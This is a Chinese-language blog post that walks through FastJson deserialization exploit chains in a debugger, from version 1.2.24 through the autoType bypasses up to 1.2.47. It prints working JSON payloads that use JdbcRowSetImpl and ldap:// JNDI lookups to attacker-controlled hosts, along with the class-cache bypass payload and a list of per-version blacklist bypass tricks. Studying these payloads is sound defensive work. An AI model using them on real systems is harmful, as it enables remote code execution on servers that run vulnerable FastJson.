Java代码审计FastJson反序列化利用链跟踪动态调试autoType绕过

0x00 前言

0x01 基础参考

JNDI注入实例

使用@type加入User类解析

FastJson历史漏洞简介

0x02 FastJson 1.2.24 利用链分析

调试过程

构造Poc思路

CC链关键流程

0x03 FastJson 1.2.25-1.2.47 利用链分析

1、开启autoTypeSupport：1.2.25-1.2.41

调试过程

构造Poc思路

CC链关键流程

疑问

2、通杀方案：1.2.25-1.2.47（checkAutotype绕过）

CC链关键流程

构造Poc思路

0x00 前言

希望和各位大佬一起学习，如果文章内容有错请多多指正，谢谢！

个人博客链接：CH4SER的个人BLOG – Welcome To Ch4ser's Blog

0x01 基础参考

JNDI注入实例

关于 javax.naming.InitialContext.lookup()，在我之前的文章讲过，不再赘述

文章链接：JNDI注入&Log4j&FastJson&白盒审计&不回显处理-CSDN博客

方式1：
new InitialContext().lookup("ldap://192.168.196.128:1389/anqqyh");方式2：
InitialContext var1 = new InitialContext();DataSource lookup = (DataSource) var1.lookup("ldap://192.168.196.128:1389/anqqyh");

使用@type加入User类解析

String userStr = "{\"@type\":\"com.example.fastjsondemo.demos.web.User\",\"age\":21,\"name\":\"ch4ser\"}";JSONObject data = JSON.parseObject(userStr);System.out.println(data);

观察到 FastJson 解析 JSON 字符串时会自动执行类的 get 和 set 方法，这是因为 FastJson 反序列化用的是自定义方法，而不是原生的反序列化（原生的并不会执行类的 get 和 set 方法），这也是后续利用的关键点

FastJson历史漏洞简介

1.2.24及以下没有对序列化的类做校验,导致漏洞产生

1.2.25-1.2.41增加了黑名单限制，更改autoType默认为关闭选项。

1.2.42版本是对1.2.41及以下版本的黑名单绕过,代码内更新字符串黑名单hash方式

1.2.43版本是对1.2.42及以下版本的黑名单绕过

1.2.44-1.2.45版本1.2.43版本黑名单无法绕过,寻找新的利用链进行利用

1.2.47版本利用fastjson处理Class类时的操作,将恶意类加载到缓存中,实现攻击

1.2.62-1.2.67版本Class不会再往缓存中加载恶意类,寻找新的利用链进行突破

1.2.68版本,使用期望类AutoCloseable来绕过fastjson校验

1.2.72-1.2.80使用期望类Throwable的子类,进行绕过

0x02 FastJson 1.2.24 利用链分析

Poc：
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.196.128:1389/5ltgie","autoCommit":true
}

调试过程

在 JSON.parseObject(Pocstr) 处打上断点，后续进行动态调试分析

步入，发现 parseObject() 其实也会用到 parse()，这里的 parse() 是 JSONObject 类的方法

步入，这里首先创建一个 DefaultJSONParser 对象，然后调用 parse() 方法来解析 JSON 字符串

DefaultJSONParser 是 FastJson 解析 JSON 字符串的核心组件，parse() 是 DefaultJSONParser 类中的一个方法

整个解析过程分为两个阶段：1、判断是否为 JSON 字符串格式2、键(key)  、值(value) 的获取

来到 DefaultJSONParser.class，关注到如下代码：

1、判断 key 是否等于 DEFAULT_TYPE_KEY（即@type）2、调用 scanSymbol 方法解析出 key 对应的 value3、通过 loadClass 获取指定类的 Class 对象并赋值给变量 clazz（涉及Java反射机制）

继续跟进，这里通过 getDeserializer 获取反序列化器，然后调用其 deserialze 方法进行反序列化

点击调试窗的 Navigate，来到对应反序列化的类 JdbcRowSetImpl.class

发现该类的 connect() 方法使用了 InitialContext.lookup()，这就是造成JNDI 注入的关键点

继续搜索发现 setAutoCommit 方法调用了 connect 方法

构造Poc思路

1、由于 lookup() 传入的变量为 this.getDataSourceName()，想到可以控制 dataSourceName 值，让其等于 ldap://192.168.196.128:1389/5ltgie 构造 JNDI 注入2、由于 setAutoCommit 调用了 connect，那么控制 autoCommit 为 true 即可触发3、完整的 Poc 为：
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.196.128:1389/5ltgie","autoCommit":true
}

CC链关键流程

parseObject->parse->key(@type)->TypeUtils.loadClass->ObjectDeserializer(反序列化)->

JdbcRowSetImpl->setDataSourceName->dataSource->setAutoCommit->connect->lookup(JNDI注入)

0x03 FastJson 1.2.25-1.2.47 利用链分析

1、开启autoTypeSupport：1.2.25-1.2.41

1、autoTypeSupport?
autoTypeSupport默认是关闭的2、怎么打开autoTypeSupport?
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);2、Poc?
在原来基础上前加 "L"，后加 ";"
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://192.168.196.128:1389/anqqyh","autoCommit":true
}

调试过程

在 JSON.parseObject(Pocstr) 处打上断点，后续进行动态调试分析

来到 DefaultJSONParser.class，与之前不同的是这里新增了 checkAutoType 方法，顾名思义就是用来检测 autoTypeSupport 的

步入，由于开启了 autoTypeSupport=true，所以这里进行了白、黑名单检测

我没有进行任何修改情况下，白名单默认是空的，黑名单有22个

经过白、黑名单后，下一步又来到了熟悉的 loadClass

步入，发现其做了两个处理：

1、若 className 开头为 "]"，则获取去掉后 "]" 的 Class 对象

2、若 className 开头为 "L" 且结尾为 ";"，则获取去掉 "L" 和 ";" 后的 Class 对象

在未处理前，className 如下：

在处理后，className 如下：

由此可见又变回了 com.sun.rowset.JdbcRowSetImpl，后续操作同理，不再赘述

构造Poc思路

1、由于 loadClass 对以"L"为开头且以";"为结尾的className做了去除处理，所以只需前加"L"后加";"即可
3、完整的 Poc 为：
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://192.168.196.128:1389/anqqyh","autoCommit":true
}

CC链关键流程

checkAutoType->denyList[i]->this.config.getDeserializer(clazz)->loadClass->newClassName

疑问

若默认关闭autoTypeSupport，整个Poc执行流程是怎样的呢？如下：

来到 DefaultJSONParser.class，可以看到这里 autoTypeSupport 是为 false的，所以没有像开启时一样进入这个白、黑名单判断

而是来到了下面这个黑、白名单判断

紧接着来到了下面的 if 判断，最终抛出了异常，GG掉了

后续版本绕过思路（开启 autoTypeSupport 情况）：

1.2.42 版本：
该版本先判断反序列化目标类的类名前后是不是 'L' 和 ';' 
若是，则先去掉 'L' 和 ';' ，再黑白名单校验
其绕过非常简单，只需要双写 'L' 和 ';'1.2.43 版本：
黑白名单判断前，新增了一个是否以 'LL' 开头的判断
若以 'LL' 开头，则直接抛异常，非常随意解决了双写的问题
但是除了'L' 和 ';'，FastJson在加载类的时候，对 '[' 也特殊处理了
其绕过为在前面添加 '['1.2.44 版本：
来了个狠的，只要你以 '[' 开头或者 ';' 结尾，直接抛异常，终于解决了缠绵多个版本的漏洞

2、通杀方案：1.2.25-1.2.47（checkAutotype绕过）

1、poc?
testStr={"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.139.1:1389/lvkr9r","autoCommit":true}
}

这种通杀方案不需要开启 autoTypeSupport，同样我也跟着调试了一遍，但是跟的不是很清晰，后来问师傅才知道为什么这个 poc 要这样写。

CC链关键流程

FastJson有一个全局缓存机制：在解析json数据前会先加载相关配置，调用addBaseClassMappings()和loadClass()函数将一些基础类和第三方库存放到mappings中（mappings是ConcurrentMap类，所以我们在一次连接中传入两个键值a和b，之后在解析时，如果没有开启autotype，会从mappings或deserializers.findClass()函数中获取反序列化的对应类，如果有，则直接返回绕过了黑名单。利用的是java.lang.Class类，其反序列化处理类MiscCodec类可以将任意类加载到mappings中，实现了目标。